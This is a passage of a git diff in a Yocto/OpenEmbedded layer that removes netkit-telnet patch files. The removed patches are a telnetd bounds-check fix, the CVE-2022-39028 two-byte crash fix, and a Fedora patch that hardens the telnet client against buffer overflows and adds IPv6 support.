- register char *look = current+2;
-
-- for (;;) {
-+ while (look < endp) {
- if ((*look++&0xff) == IAC) {
-- if ((*look++&0xff) == SE) {
-+ if (look < endp && (*look++&0xff) == SE) {
- return look;
- }
- }
- }
-+ return NULL;
- }
- default:
-- return current+2;
-+ return current+2 <= endp ? current+2 : NULL;
- }
- } /* end of nextitem */
-
-@@ -219,7 +226,7 @@ void netclear(void)
- register char *thisitem, *next;
- char *good;
- #define wewant(p) ((nfrontp > p) && ((*p&0xff) == IAC) && \
-- ((*(p+1)&0xff) != EC) && ((*(p+1)&0xff) != EL))
-+ (nfrontp > p+1 && (((*(p+1)&0xff) != EC) && ((*(p+1)&0xff) != EL))))
-
- #if defined(ENCRYPT)
- thisitem = nclearto > netobuf ? nclearto : netobuf;
-@@ -227,7 +234,7 @@ void netclear(void)
- thisitem = netobuf;
- #endif
-
-- while ((next = nextitem(thisitem)) <= nbackp) {
-+ while ((next = nextitem(thisitem, nbackp)) != NULL && next <= nbackp) {
- thisitem = next;
- }
-
-@@ -239,20 +246,23 @@ void netclear(void)
- good = netobuf; /* where the good bytes go */
- #endif
-
-- while (nfrontp > thisitem) {
-+ while (thisitem != NULL && nfrontp > thisitem) {
- if (wewant(thisitem)) {
- int length;
-
- next = thisitem;
- do {
-- next = nextitem(next);
-- } while (wewant(next) && (nfrontp > next));
-+ next = nextitem(next, nfrontp);
-+ } while (next != NULL && wewant(next) && (nfrontp > next));
-+ if (next == NULL) {
-+ next = nfrontp;
-+ }
- length = next-thisitem;
- bcopy(thisitem, good, length);
- good += length;
- thisitem = next;
- } else {
-- thisitem = nextitem(thisitem);
-+ thisitem = nextitem(thisitem, nfrontp);
- }
- }
-
---
-2.7.4
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/CVE-2022-39028.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/CVE-2022-39028.patch
deleted file mode 100644
index e8c3f1d84b..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/CVE-2022-39028.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-From 4133a888aa256312186962ab70d4a36eed5920c1 Mon Sep 17 00:00:00 2001
-From: Brooks Davis <brooks@FreeBSD.org>
-Date: Mon, 26 Sep 2022 18:56:51 +0100
-Subject: [PATCH] telnetd: fix two-byte input crash
-
-Move initialization of the slc table earlier so it doesn't get
-accessed before that happens.
-
-For details on the issue, see:
-https://pierrekim.github.io/blog/2022-08-24-2-byte-dos-freebsd-netbsd-telnetd-netkit-telnetd-inetutils-telnetd-kerberos-telnetd.html
-
-Reviewed by: cy
-Obtained from: NetBSD via cy
-Differential Revision: https://reviews.freebsd.org/D36680
-
-CVE: CVE-2022-39028
-Upstream-Status: Backport [https://cgit.freebsd.org/src/commit/?id=6914ffef4e23]
-
-(cherry picked from commit 6914ffef4e2318ca1d0ead28eafb6f06055ce0f8)
-Signed-off-by: Sanjay Chitroda <sanjay.chitroda@einfochips.com>
-
----
- telnetd/telnetd.c | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/telnetd/telnetd.c b/telnetd/telnetd.c
-index f36f505..efa0fe1 100644
---- a/telnetd/telnetd.c
-+++ b/telnetd/telnetd.c
-@@ -615,6 +615,11 @@ doit(struct sockaddr_in *who)
- int level;
- char user_name[256];
-
-+ /*
-+ * Initialize the slc mapping table.
-+ */
-+ get_slc_defaults();
-+
- /*
- * Find an available pty to use.
- */
-@@ -698,11 +703,6 @@ void telnet(int f, int p)
- char *HE;
- const char *IM;
-
-- /*
-- * Initialize the slc mapping table.
-- */
-- get_slc_defaults();
--
- /*
- * Do some tests where it is desireable to wait for a response.
- * Rather than doing them slowly, one at a time, do them all
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/To-aviod-buffer-overflow-in-telnet.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/To-aviod-buffer-overflow-in-telnet.patch
deleted file mode 100644
index 34a6479790..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/To-aviod-buffer-overflow-in-telnet.patch
+++ /dev/null
@@ -1,1217 +0,0 @@
-From f09a6460a62aacb87bb8683d16aa3ce55848bf7e Mon Sep 17 00:00:00 2001
-From: Li xin <lixin.fnst@cn.fujitsu.com>
-Date: Fri, 28 Nov 2014 07:06:24 +0900
-Subject: [PATCH 1/2] To aviod buffer overflow in telnet
-
-This patch is from Fedora.
-
-Upstream-Status: Pending
-
-Signed-off-by: Li Xin <lixin.fnst@cn.fujitsu.com>
----
- telnet/Makefile | 4 +-
- telnet/commands.cc | 270 +++++++++++++++++++++++++++++++++++-----------------
- telnet/defines.h | 2 +
- telnet/externs.h | 7 +-
- telnet/main.cc | 65 ++++++++++---
- telnet/netlink.cc | 78 +++++++++------
- telnet/netlink.h | 7 +-
- telnet/network.cc | 1 +
- telnet/proto.h | 2 +-
- telnet/ring.cc | 2 +-
- telnet/ring.h | 2 +-
- telnet/sys_bsd.cc | 11 +++
- telnet/telnet.1 | 37 +++++--
- telnet/telnet.cc | 45 +++++----
- telnet/terminal.cc | 17 +++-
- telnet/utilities.cc | 2 +
- 16 files changed, 380 insertions(+), 172 deletions(-)
-
-diff --git a/telnet/Makefile b/telnet/Makefile
-index cef866f..39249e1 100644
---- a/telnet/Makefile
-+++ b/telnet/Makefile
-@@ -7,7 +7,7 @@ include ../MRULES
-
- # -DAUTHENTICATE
- CXXFLAGS += -DUSE_TERMIO -DKLUDGELINEMODE
--LIBS += $(LIBTERMCAP)
-+LIBS = $(LIBTERMCAP)
-
- SRCS = commands.cc main.cc network.cc ring.cc sys_bsd.cc telnet.cc \
- terminal.cc tn3270.cc utilities.cc genget.cc environ.cc netlink.cc
-@@ -22,7 +22,7 @@ depend:
- $(CXX) $(CXXFLAGS) -MM $(SRCS) >depend.mk
-
- install: telnet
-- install -s -m$(BINMODE) telnet $(INSTALLROOT)$(BINDIR)
-+ install -m$(BINMODE) telnet $(INSTALLROOT)$(BINDIR)
- install -m$(MANMODE) telnet.1 $(INSTALLROOT)$(MANDIR)/man1
-
- clean:
-diff --git a/telnet/commands.cc b/telnet/commands.cc
-index d92bccd..02c593e 100644
---- a/telnet/commands.cc
-+++ b/telnet/commands.cc
-@@ -86,10 +86,6 @@ char cmd_rcsid[] =
-
- #define HELPINDENT ((int) sizeof ("connect"))
-
--#ifndef MAXHOSTNAMELEN
--#define MAXHOSTNAMELEN 64
--#endif MAXHOSTNAMELEN
--
- #if defined(HAS_IPPROTO_IP) && defined(IP_TOS)
- int tos = -1;
- #endif /* defined(HAS_IPPROTO_IP) && defined(IP_TOS) */
-@@ -98,7 +94,7 @@ static unsigned long sourceroute(char *arg, char **cpp, int *lenp);
-
-
- char *hostname;
--static char _hostname[MAXHOSTNAMELEN];
-+static char *_hostname;
-
- //typedef int (*intrtn_t)(int argc, const char *argv[]);
-
-@@ -161,7 +157,7 @@ class command_entry {
- assert(argc>=1);
- if (nargs>=0 && argc!=nargs+1) {
- fprintf(stderr, "Wrong number of arguments for command.\n");
-- fprintf(stderr, "Try %s ? for help\n", argv[0]);
-+ fprintf(stderr, "Try ? %s for help\n", argv[0]);
- return 0; /* is this right? */
- }
- if (nargs==-2) {
-@@ -480,6 +476,7 @@ static int send_wontcmd(const char *name, const char *) {
- int send_tncmd(int (*func)(int, int), const char *cmd, const char *name) {
- char **cpp;
- extern char *telopts[];
-+ long opt;
-
- if (isprefix(name, "help") || isprefix(name, "?")) {
- register int col, len;
-@@ -506,16 +503,23 @@ int send_tncmd(int (*func)(int, int), const char *cmd, const char *name) {
- name, cmd);
- return 0;
- }
-+
-+ opt = cpp - telopts;
- if (cpp == 0) {
-- fprintf(stderr, "'%s': unknown argument ('send %s ?' for help).\n",
-+ char *end;
-+
-+ opt = strtol(name, &end, 10);
-+ if (*end || opt < 0 || opt > 255) {
-+ fprintf(stderr, "'%s': unknown argument ('send %s ?' for help).\n",
- name, cmd);
-- return 0;
-+ return 0;
-+ }
- }
- if (!connected) {
- printf("?Need to be connected first.\n");
- return 0;
- }
-- (*func)(cpp - telopts, 1);
-+ (*func)(opt, 1);
- return 1;
- }
-
-@@ -689,9 +693,9 @@ static struct togglelist Togglelist[] = {
- "print encryption debugging information" },
- #endif
-
-- { "skiprc", "don't read ~/.telnetrc file",
-+ { "skiprc", "don't read the telnetrc files",
- NULL, &skiprc,
-- "read ~/.telnetrc file" },
-+ "read the telnetrc files" },
- { "binary",
- "sending and receiving of binary data",
- togbinary, NULL,
-@@ -1615,15 +1619,20 @@ void ayt_status(int) {
- #endif
-
- int tn(int argc, const char *argv[]) {
-- register struct hostent *host = 0;
- struct sockaddr_in sn;
-- struct servent *sp = 0;
- char *srp = NULL;
- int srlen;
--
-- const char *cmd, *volatile user = 0;
-+ int family = 0;
-+ const char *cmd, *volatile user = 0, *srchostp = 0;
- const char *portp = NULL;
- char *hostp = NULL;
-+ char *resolv_hostp;
-+ struct addrinfo hints;
-+ struct addrinfo *hostaddr = 0;
-+ int res;
-+ char name[NI_MAXHOST];
-+ char service[NI_MAXSERV];
-+ struct addrinfo *tmpaddr;
-
- /* clear the socket address prior to use */
- memset(&sn, 0, sizeof(sn));
-@@ -1632,6 +1641,10 @@ int tn(int argc, const char *argv[]) {
- printf("?Already connected to %s\n", hostname);
- return 0;
- }
-+ if (_hostname) {
-+ delete[] _hostname;
-+ _hostname = 0;
-+ }
- if (argc < 2) {
- (void) strcpy(line, "open ");
- printf("(to) ");
-@@ -1657,11 +1670,33 @@ int tn(int argc, const char *argv[]) {
- --argc;
- continue;
- }
-+ if (strcmp(*argv, "-b") == 0) {
-+ --argc; ++argv;
-+ if (argc == 0)
-+ goto usage;
-+ srchostp = *argv++;
-+ --argc;
-+ continue;
-+ }
- if (strcmp(*argv, "-a") == 0) {
- --argc; ++argv;
- autologin = 1;
- continue;
- }
-+ if (strcmp(*argv, "-6") == 0) {
-+ --argc; ++argv;
-+#ifdef AF_INET6
-+ family = AF_INET6;
-+#else
-+ puts("IPv6 unsupported");
-+#endif
-+ continue;
-+ }
-+ if (strcmp(*argv, "-4") == 0) {
-+ --argc; ++argv;
-+ family = AF_INET;
-+ continue;
-+ }
- if (hostp == 0) {
- /* this leaks memory - FIXME */
- hostp = strdup(*argv++);
-@@ -1680,6 +1715,8 @@ int tn(int argc, const char *argv[]) {
- if (hostp == 0)
- goto usage;
-
-+ resolv_hostp = hostp;
-+
- #if defined(IP_OPTIONS) && defined(HAS_IPPROTO_IP)
- if (hostp[0] == '@' || hostp[0] == '!') {
- if ((hostname = strrchr(hostp, ':')) == NULL)
-@@ -1696,78 +1733,122 @@ int tn(int argc, const char *argv[]) {
- } else {
- sn.sin_addr.s_addr = temp;
- sn.sin_family = AF_INET;
-+ /*
-+ * For source route we just make sure to get the IP given
-+ * on the command line when looking up the port.
-+ */
-+ resolv_hostp = inet_ntoa(sn.sin_addr);
- }
- }
-- else {
--#endif
-- if (inet_aton(hostp, &sn.sin_addr)) {
-- sn.sin_family = AF_INET;
-- strcpy(_hostname, hostp);
-- hostname = _hostname;
-- }
-- else {
-- host = gethostbyname(hostp);
-- if (host) {
-- sn.sin_family = host->h_addrtype;
-- if (host->h_length > (int)sizeof(sn.sin_addr)) {
-- host->h_length = sizeof(sn.sin_addr);
-- }
--#if defined(h_addr) /* In 4.3, this is a #define */
-- memcpy((caddr_t)&sn.sin_addr,
-- host->h_addr_list[0], host->h_length);
--#else /* defined(h_addr) */
-- memcpy((caddr_t)&sn.sin_addr, host->h_addr, host->h_length);
--#endif /* defined(h_addr) */
-- strncpy(_hostname, host->h_name, sizeof(_hostname));
-- _hostname[sizeof(_hostname)-1] = '\0';
-- hostname = _hostname;
-- } else {
-- herror(hostp);
-- return 0;
-- }
-- }
--#if defined(IP_OPTIONS) && defined(HAS_IPPROTO_IP)
-- }
- #endif
-+
-+ /* User port or the default name of telnet. */
- if (portp) {
- if (*portp == '-') {
- portp++;
- telnetport = 1;
-- } else
-+ } else {
- telnetport = 0;
-- sn.sin_port = atoi(portp);
-- if (sn.sin_port == 0) {
-- sp = getservbyname(portp, "tcp");
-- if (sp)
-- sn.sin_port = sp->s_port;
-- else {
-- printf("%s: bad port number\n", portp);
-- return 0;
-+ if (*portp >='0' && *portp<='9') {
-+ char *end;
-+ long int p;
-+
-+ p=strtol(portp, &end, 10);
-+ if (ERANGE==errno && (LONG_MIN==p || LONG_MAX==p)) {
-+ fprintf(stderr, "telnet: port %s overflows\n", portp);
-+ return 0;
-+ } else if (p<=0 || p>=65536) {
-+ fprintf(stderr, "telnet: port %s out of range\n", portp);
-+ return 0;
-+ }
- }
-- }
-- else {
-- sn.sin_port = htons(sn.sin_port);
- }
-- }
-+ }
- else {
-- if (sp == 0) {
-- sp = getservbyname("telnet", "tcp");
-- if (sp == 0) {
-- fprintf(stderr, "telnet: tcp/telnet: unknown service\n");
-- return 0;
-- }
-- sn.sin_port = sp->s_port;
-- }
-+ portp = "telnet";
- telnetport = 1;
- }
-- printf("Trying %s...\n", inet_ntoa(sn.sin_addr));
-+
-+ /* We only understand SOCK_STREAM sockets. */
-+ memset(&hints, 0, sizeof(hints));
-+ hints.ai_socktype = SOCK_STREAM;
-+ hints.ai_flags = AI_NUMERICHOST;
-+ hints.ai_family = family;
-+
-+ if (srchostp) {
-+ res = getaddrinfo(srchostp, "0", &hints, &hostaddr);
-+ if (res) {
-+ fprintf(stderr, "telnet: could not resolve %s: %s\n", srchostp,
-+ gai_strerror(res));
-+ return 0;
-+ }
-+ hints.ai_family = hostaddr->ai_family;
-+ res = nlink.bind(hostaddr);
-+ freeaddrinfo(hostaddr);
-+ if (res < 0)
-+ return 0;
-+ }
-+
-+ /* Resolve both the host and service simultaneously. */
-+ res = getaddrinfo(resolv_hostp, portp, &hints, &hostaddr);
-+ if (res == EAI_NONAME) {
-+ hints.ai_flags = AI_CANONNAME;
-+ res = getaddrinfo(resolv_hostp, portp, &hints, &hostaddr);
-+ } else if (hostaddr) {
-+ hostaddr->ai_canonname = 0;
-+ }
-+ if (res || !hostaddr) {
-+ fprintf(stderr, "telnet: could not resolve %s/%s: %s\n", resolv_hostp, portp, gai_strerror(res));
-+ return 0;
-+ }
-+
-+ /* Try to connect to every listed round robin IP. */
-+ tmpaddr = hostaddr;
-+ errno = 0;
- do {
-- int x = nlink.connect(debug, host, &sn, srp, srlen, tos);
-- if (!x) return 0;
-- else if (x==1) continue;
-+ int x;
-+
-+ if (!tmpaddr) {
-+ if (errno)
-+ perror("telnet: Unable to connect to remote host");
-+ else
-+ fputs("telnet: Unable to connect to remote host: "
-+ "Bad port number\n", stderr);
-+err:
-+ freeaddrinfo(hostaddr);
-+ return 0;
-+ }
-+
-+ if (tmpaddr->ai_family == AF_UNIX) {
-+nextaddr:
-+ tmpaddr = tmpaddr->ai_next;
-+ continue;
-+ }
-+
-+ getnameinfo(tmpaddr->ai_addr, tmpaddr->ai_addrlen,
-+ name, sizeof(name), service, sizeof(service),
-+ NI_NUMERICHOST | NI_NUMERICSERV);
-+
-+ printf("Trying %s...\n", name);
-+ x = nlink.connect(debug, tmpaddr, srp, srlen, tos);
-+ if (!x)
-+ goto err;
-+ else if (x==1)
-+ goto nextaddr;
-+
- connected++;
- } while (connected == 0);
-- cmdrc(hostp, hostname);
-+ if (tmpaddr->ai_canonname == 0) {
-+ hostname = new char[strlen(hostp)+1];
-+ strcpy(hostname, hostp);
-+ }
-+ else {
-+ hostname = new char[strlen(tmpaddr->ai_canonname)+1];
-+ strcpy(hostname, tmpaddr->ai_canonname);
-+ }
-+
-+ cmdrc(hostp, hostname, portp);
-+ freeaddrinfo(hostaddr);
- if (autologin && user == NULL) {
- struct passwd *pw;
-
-@@ -2013,30 +2094,21 @@ static int help(command_table *tab, int argc, const char *argv[]) {
- return 0;
- }
-
--static char *rcname = 0;
--static char rcbuf[128];
--
--void cmdrc(const char *m1, const char *m2) {
-+static void readrc(const char *m1, const char *m2, const char *port,
-+ const char *rcname)
-+{
- FILE *rcfile;
- int gotmachine = 0;
- int l1 = strlen(m1);
- int l2 = strlen(m2);
-- char m1save[64];
--
-- if (skiprc) return;
-+ int lport = strlen(port);
-+ char m1save[l1 + 1];
-+ char portsave[lport + 1];
-
- strcpy(m1save, m1);
- m1 = m1save;
--
-- if (rcname == 0) {
-- rcname = getenv("HOME");
-- if (rcname)
-- strcpy(rcbuf, rcname);
-- else
-- rcbuf[0] = '\0';
-- strcat(rcbuf, "/.telnetrc");
-- rcname = rcbuf;
-- }
-+ strcpy(portsave, port);
-+ port = portsave;
-
- rcfile = fopen(rcname, "r");
- if (!rcfile) return;
-@@ -2061,6 +2133,13 @@ void cmdrc(const char *m1, const char *m2) {
- strncpy(line, &line[7], sizeof(line) - 7);
- else
- continue;
-+
-+ if (line[0] == ':') {
-+ if (!strncasecmp(&line[1], port, lport))
-+ continue;
-+ strncpy(line, &line[lport + 1], sizeof(line) - lport - 1);
-+ }
-+
- if (line[0] != ' ' && line[0] != '\t' && line[0] != '\n')
- continue;
- gotmachine = 1;
-@@ -2073,6 +2152,21 @@ void cmdrc(const char *m1, const char *m2) {
- fclose(rcfile);
- }
-
-+void cmdrc(const char *m1, const char *m2, const char *port) {
-+ char *rcname = NULL;
-+
-+ if (skiprc) return;
-+
-+ readrc(m1, m2, port, "/etc/telnetrc");
-+ if (asprintf (&rcname, "%s/.telnetrc", getenv ("HOME")) == -1)
-+ {
-+ perror ("asprintf");
-+ return;
-+ }
-+ readrc(m1, m2, port, rcname);
-+ free (rcname);
-+}
-+
- #if defined(IP_OPTIONS) && defined(HAS_IPPROTO_IP)
-
- /*
-diff --git a/telnet/defines.h b/telnet/defines.h
-index 2784400..d5edc46 100644
---- a/telnet/defines.h
-+++ b/telnet/defines.h
-@@ -50,3 +50,5 @@
- #define MODE_COMMAND_LINE(m) ((m)==-1)
-
- #define CONTROL(x) ((x)&0x1f) /* CTRL(x) is not portable */
-+
-+#define MODE_OUT8 0x8000 /* binary mode sans -opost */
-diff --git a/telnet/externs.h b/telnet/externs.h
-index 955df79..0730e8a 100644
---- a/telnet/externs.h
-+++ b/telnet/externs.h
-@@ -48,9 +48,7 @@
- typedef unsigned char cc_t;
- #endif
-
--#ifdef __linux__
- #include <unistd.h> /* get _POSIX_VDISABLE */
--#endif
-
- #ifndef _POSIX_VDISABLE
- #error "Please fix externs.h to define _POSIX_VDISABLE"
-@@ -60,7 +58,8 @@ typedef unsigned char cc_t;
-
- extern int autologin; /* Autologin enabled */
- extern int skiprc; /* Don't process the ~/.telnetrc file */
--extern int eight; /* use eight bit mode (binary in and/or out */
-+extern int eight; /* use eight bit mode (binary in and/or out) */
-+extern int binary; /* use binary option (in and/or out) */
- extern int flushout; /* flush output */
- extern int connected; /* Are we connected to the other side? */
- extern int globalmode; /* Mode tty should be in */
-@@ -225,6 +224,8 @@ cc_t *tcval(int);
-
- //#if 0
- extern struct termios new_tc;
-+extern struct termios old_tc;
-+
-
- #define termEofChar new_tc.c_cc[VEOF]
- #define termEraseChar new_tc.c_cc[VERASE]
-diff --git a/telnet/main.cc b/telnet/main.cc
-index b67f2ce..b626e54 100644
---- a/telnet/main.cc
-+++ b/telnet/main.cc
-@@ -45,7 +45,10 @@ char main_rcsid[] =
-
- #include <sys/types.h>
- #include <getopt.h>
-+#include <stdlib.h>
- #include <string.h>
-+#include <netdb.h>
-+#include <errno.h>
-
- #include "ring.h"
- #include "externs.h"
-@@ -80,12 +83,13 @@ tninit(void)
- void usage(void) {
- fprintf(stderr, "Usage: %s %s%s%s%s\n",
- prompt,
-- " [-8] [-E] [-L] [-a] [-d] [-e char] [-l user] [-n tracefile]",
-- "\n\t",
-+ "[-4] [-6] [-8] [-E] [-L] [-a] [-d] [-e char] [-l user]",
-+ "\n\t[-n tracefile] [ -b addr ]",
- #ifdef TN3270
-+ "\n\t"
- "[-noasynch] [-noasynctty] [-noasyncnet] [-r] [-t transcom]\n\t",
- #else
-- "[-r] ",
-+ " [-r] ",
- #endif
- "[host-name [port]]"
- );
-@@ -102,7 +106,8 @@ main(int argc, char *argv[])
- extern char *optarg;
- extern int optind;
- int ch;
-- char *user;
-+ char *user, *srcaddr;
-+ int family;
-
- tninit(); /* Clear out things */
- #if defined(CRAY) && !defined(__STDC__)
-@@ -110,21 +115,38 @@ main(int argc, char *argv[])
- #endif
-
- TerminalSaveState();
-+ if ((old_tc.c_cflag & (CSIZE|PARENB)) != CS8)
-+ eight = 0;
-
- if ((prompt = strrchr(argv[0], '/'))!=NULL)
- ++prompt;
- else
- prompt = argv[0];
-
-- user = NULL;
-+ user = srcaddr = NULL;
-+ family = 0;
-
- rlogin = (strncmp(prompt, "rlog", 4) == 0) ? '~' : _POSIX_VDISABLE;
- autologin = -1;
-
-- while ((ch = getopt(argc, argv, "8EKLS:X:ade:k:l:n:rt:x")) != EOF) {
-+ while ((ch = getopt(argc, argv,
-+ "4678EKLS:X:ab:de:k:l:n:rt:x")) != EOF) {
- switch(ch) {
-+ case '4':
-+ family = AF_INET;
-+ break;
-+ case '6':
-+#ifdef AF_INET6
-+ family = AF_INET6;
-+#else
-+ fputs("IPv6 unsupported\n", stderr);
-+#endif
-+ break;
-+ case '7':
-+ eight = 0; /* 7-bit ouput and input */
-+ break;
- case '8':
-- eight = 3; /* binary output and input */
-+ binary = 3; /* binary output and input */
- break;
- case 'E':
- rlogin = escapechar = _POSIX_VDISABLE;
-@@ -133,23 +155,26 @@ main(int argc, char *argv[])
- //autologin = 0;
- break;
- case 'L':
-- eight |= 2; /* binary output only */
-+ binary |= 2; /* binary output only */
- break;
- case 'S':
- {
--#ifdef HAS_GETTOS
- extern int tos;
-+ int num;
-
-- if ((tos = parsetos(optarg, "tcp")) < 0)
-+#ifdef HAS_GETTOS
-+ if ((num = parsetos(optarg, "tcp")) < 0) {
-+#else
-+ errno = 0;
-+ num = strtol(optarg, 0, 0);
-+ if (errno) {
-+#endif
- fprintf(stderr, "%s%s%s%s\n",
- prompt, ": Bad TOS argument '",
- optarg,
- "; will try to use default TOS");
--#else
-- fprintf(stderr,
-- "%s: Warning: -S ignored, no parsetos() support.\n",
-- prompt);
--#endif
-+ } else
-+ tos = num;
- }
- break;
- case 'X':
-@@ -210,6 +235,9 @@ main(int argc, char *argv[])
- "%s: -x ignored, no encryption support.\n",
- prompt);
- break;
-+ case 'b':
-+ srcaddr = optarg;
-+ break;
- case '?':
- default:
- usage();
-@@ -233,6 +261,13 @@ main(int argc, char *argv[])
- *argp++ = "-l";
- *argp++ = user;
- }
-+ if (srcaddr) {
-+ *argp++ = "-b";
-+ *argp++ = srcaddr;
-+ }
-+ if (family) {
-+ *argp++ = family == AF_INET ? "-4" : "-6";
-+ }
- *argp++ = argv[0]; /* host */
- if (argc > 1)
- *argp++ = argv[1]; /* port */
-diff --git a/telnet/netlink.cc b/telnet/netlink.cc
-index f439cff..f839747 100644
---- a/telnet/netlink.cc
-+++ b/telnet/netlink.cc
-@@ -79,22 +79,61 @@ void netlink::close(int doshutdown) {
- shutdown(net, 2);
- }
- ::close(net);
-+ net = -1;
- }
-
--int netlink::connect(int debug, struct hostent *host,
-- struct sockaddr_in *sn,
-- char *srcroute, int srlen, int tos)
-+int netlink::bind(struct addrinfo *addr)
- {
-- int on=1;
-+ int res;
-+
-+ res = socket(addr->ai_family);
-+ if (res < 2) {
-+ if (res == 1)
-+ perror("telnet: socket");
-+ return -1;
-+ }
-+
-+ if (::bind(net, addr->ai_addr, addr->ai_addrlen) < 0) {
-+ perror("telnet: bind");
-+ return -1;
-+ }
-+
-+ return 0;
-+}
-+
-+int netlink::socket(int family)
-+{
-+ if (this->family != family)
-+ close(0);
-
-- net = socket(AF_INET, SOCK_STREAM, 0);
- if (net < 0) {
-- perror("telnet: socket");
-- return 0;
-+ this->family = family;
-+ net = ::socket(family, SOCK_STREAM, 0);
-+ if (net < 0) {
-+ if (errno == EAFNOSUPPORT)
-+ return 1;
-+ perror("telnet: socket");
-+ return 0;
-+ }
- }
-
-+ return 2;
-+}
-+
-+int netlink::connect(int debug, struct addrinfo *addr,
-+ char *srcroute, int srlen, int tos)
-+{
-+ int on=1;
-+ int res;
-+
-+ res = socket(addr->ai_family);
-+ if (res < 2)
-+ return res;
-+
- #if defined(IP_OPTIONS) && defined(HAS_IPPROTO_IP)
- if (srcroute) {
-+ if (addr->ai_family != AF_INET)
-+ fputs("Source route is only supported for IPv4\n", stderr);
- if (setsockopt(net, IPPROTO_IP, IP_OPTIONS, srcroute, srlen) < 0)
- perror("setsockopt (IP_OPTIONS)");
- }
-@@ -108,7 +147,7 @@ int netlink::connect(int debug, struct hostent *host,
- #endif
- if (tos < 0) tos = 020; /* Low Delay bit */
- if (tos && (setsockopt(net, IPPROTO_IP, IP_TOS, &tos, sizeof(int)) < 0)
-- && (errno != ENOPROTOOPT))
-+ && (errno != ENOPROTOOPT) && (errno != EOPNOTSUPP))
- perror("telnet: setsockopt (IP_TOS) (ignored)");
- #endif /* defined(IPPROTO_IP) && defined(IP_TOS) */
-
-@@ -116,27 +155,8 @@ int netlink::connect(int debug, struct hostent *host,
- perror("setsockopt (SO_DEBUG)");
- }
-
-- if (::connect(net, (struct sockaddr *)sn, sizeof(*sn)) < 0) {
--#if defined(h_addr) /* In 4.3, this is a #define */
-- if (host && host->h_addr_list[1]) {
-- int oerrno = errno;
--
-- fprintf(stderr, "telnet: connect to address %s: ",
-- inet_ntoa(sn->sin_addr));
-- errno = oerrno;
-- perror(NULL);
-- host->h_addr_list++;
-- if (host->h_length > (int)sizeof(sn->sin_addr)) {
-- host->h_length = sizeof(sn->sin_addr);
-- }
-- memcpy(&sn->sin_addr, host->h_addr_list[0], host->h_length);
-- close(net);
-- return 1;
-- }
--#endif /* defined(h_addr) */
--
-- perror("telnet: Unable to connect to remote host");
-- return 0;
-+ if (::connect(net, addr->ai_addr, addr->ai_addrlen) < 0) {
-+ return 1;
- }
- return 2;
- }
-diff --git a/telnet/netlink.h b/telnet/netlink.h
-index 9852b30..0ac8a08 100644
---- a/telnet/netlink.h
-+++ b/telnet/netlink.h
-@@ -1,13 +1,16 @@
-
- class netlink {
-+ private:
-+ int family;
- protected:
- int net;
- public:
- netlink();
- ~netlink();
-
-- int connect(int debug, struct hostent *host,
-- struct sockaddr_in *sin,
-+ int bind(struct addrinfo *hostaddr);
-+ int socket(int family);
-+ int connect(int debug, struct addrinfo *hostaddr,
- char *srcroute, int srlen,
- int tos);
- void close(int doshutdown);
-diff --git a/telnet/network.cc b/telnet/network.cc
-index 6a2c374..0dcf3e2 100644
---- a/telnet/network.cc
-+++ b/telnet/network.cc
-@@ -40,6 +40,7 @@ char net_rcsid[] =
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/time.h>
-+#include <stdlib.h>
- #include <errno.h>
- #include <arpa/telnet.h>
-
-diff --git a/telnet/proto.h b/telnet/proto.h
-index 8be4a39..92f2419 100644
---- a/telnet/proto.h
-+++ b/telnet/proto.h
-@@ -13,7 +13,7 @@ int TerminalWindowSize(long *rows, long *cols);
- void auth_encrypt_user(char *);
- void auth_name(unsigned char *, int);
- void auth_printsub(unsigned char *, int, unsigned char *, int);
--void cmdrc(const char *m1, const char *m2);
-+void cmdrc(const char *, const char *, const char *);
- void env_init(void);
- int getconnmode(void);
- void init_network(void);
-diff --git a/telnet/ring.cc b/telnet/ring.cc
-index be57396..772c6c5 100644
---- a/telnet/ring.cc
-+++ b/telnet/ring.cc
-@@ -165,7 +165,7 @@ int ringbuf::flush() {
-
- /////////////////////////////////////////////////// supply //////////////
-
--void ringbuf::printf(const char *format, ...) {
-+void ringbuf::xprintf(const char *format, ...) {
- char xbuf[256];
- va_list ap;
- va_start(ap, format);
-diff --git a/telnet/ring.h b/telnet/ring.h
-index 15d3f3f..049377e 100644
---- a/telnet/ring.h
-+++ b/telnet/ring.h
-@@ -83,7 +83,7 @@ class ringbuf {
- // manual supply
- void putch(char c) { write(&c, 1); }
- void write(const char *buffer, int ct);
-- void printf(const char *format, ...);
-+ void xprintf(const char *format, ...);
- int empty_count() { return size - count; }
-
- // automatic supply
-diff --git a/telnet/sys_bsd.cc b/telnet/sys_bsd.cc
-index 93fba7e..a8c9aab 100644
---- a/telnet/sys_bsd.cc
-+++ b/telnet/sys_bsd.cc
-@@ -189,18 +189,25 @@ void NetSetPgrp(int fd) {
- * Various signal handling routines.
- */
-
-+#if 0
- static void deadpeer(int /*sig*/) {
- setcommandmode();
- siglongjmp(peerdied, -1);
- }
-+#endif
-
- static void intr(int /*sig*/) {
- if (localchars) {
- intp();
- }
- else {
-+#if 0
- setcommandmode();
- siglongjmp(toplevel, -1);
-+#else
-+ signal(SIGINT, SIG_DFL);
-+ raise(SIGINT);
-+#endif
- }
- }
-
-@@ -214,6 +221,8 @@ static void intr2(int /*sig*/) {
- sendabort();
- return;
- }
-+ signal(SIGQUIT, SIG_DFL);
-+ raise(SIGQUIT);
- }
-
- #ifdef SIGWINCH
-@@ -238,7 +247,9 @@ void ayt(int sig) {
- void sys_telnet_init(void) {
- signal(SIGINT, intr);
- signal(SIGQUIT, intr2);
-+#if 0
- signal(SIGPIPE, deadpeer);
-+#endif
- #ifdef SIGWINCH
- signal(SIGWINCH, sendwin);
- #endif
-diff --git a/telnet/telnet.1 b/telnet/telnet.1
-index 54a47fb..8365e42 100644
---- a/telnet/telnet.1
-+++ b/telnet/telnet.1
-@@ -42,8 +42,9 @@
- protocol
- .Sh SYNOPSIS
- .Nm telnet
--.Op Fl 8ELadr
-+.Op Fl 468ELadr
- .Op Fl S Ar tos
-+.Op Fl b Ar address
- .Op Fl e Ar escapechar
- .Op Fl l Ar user
- .Op Fl n Ar tracefile
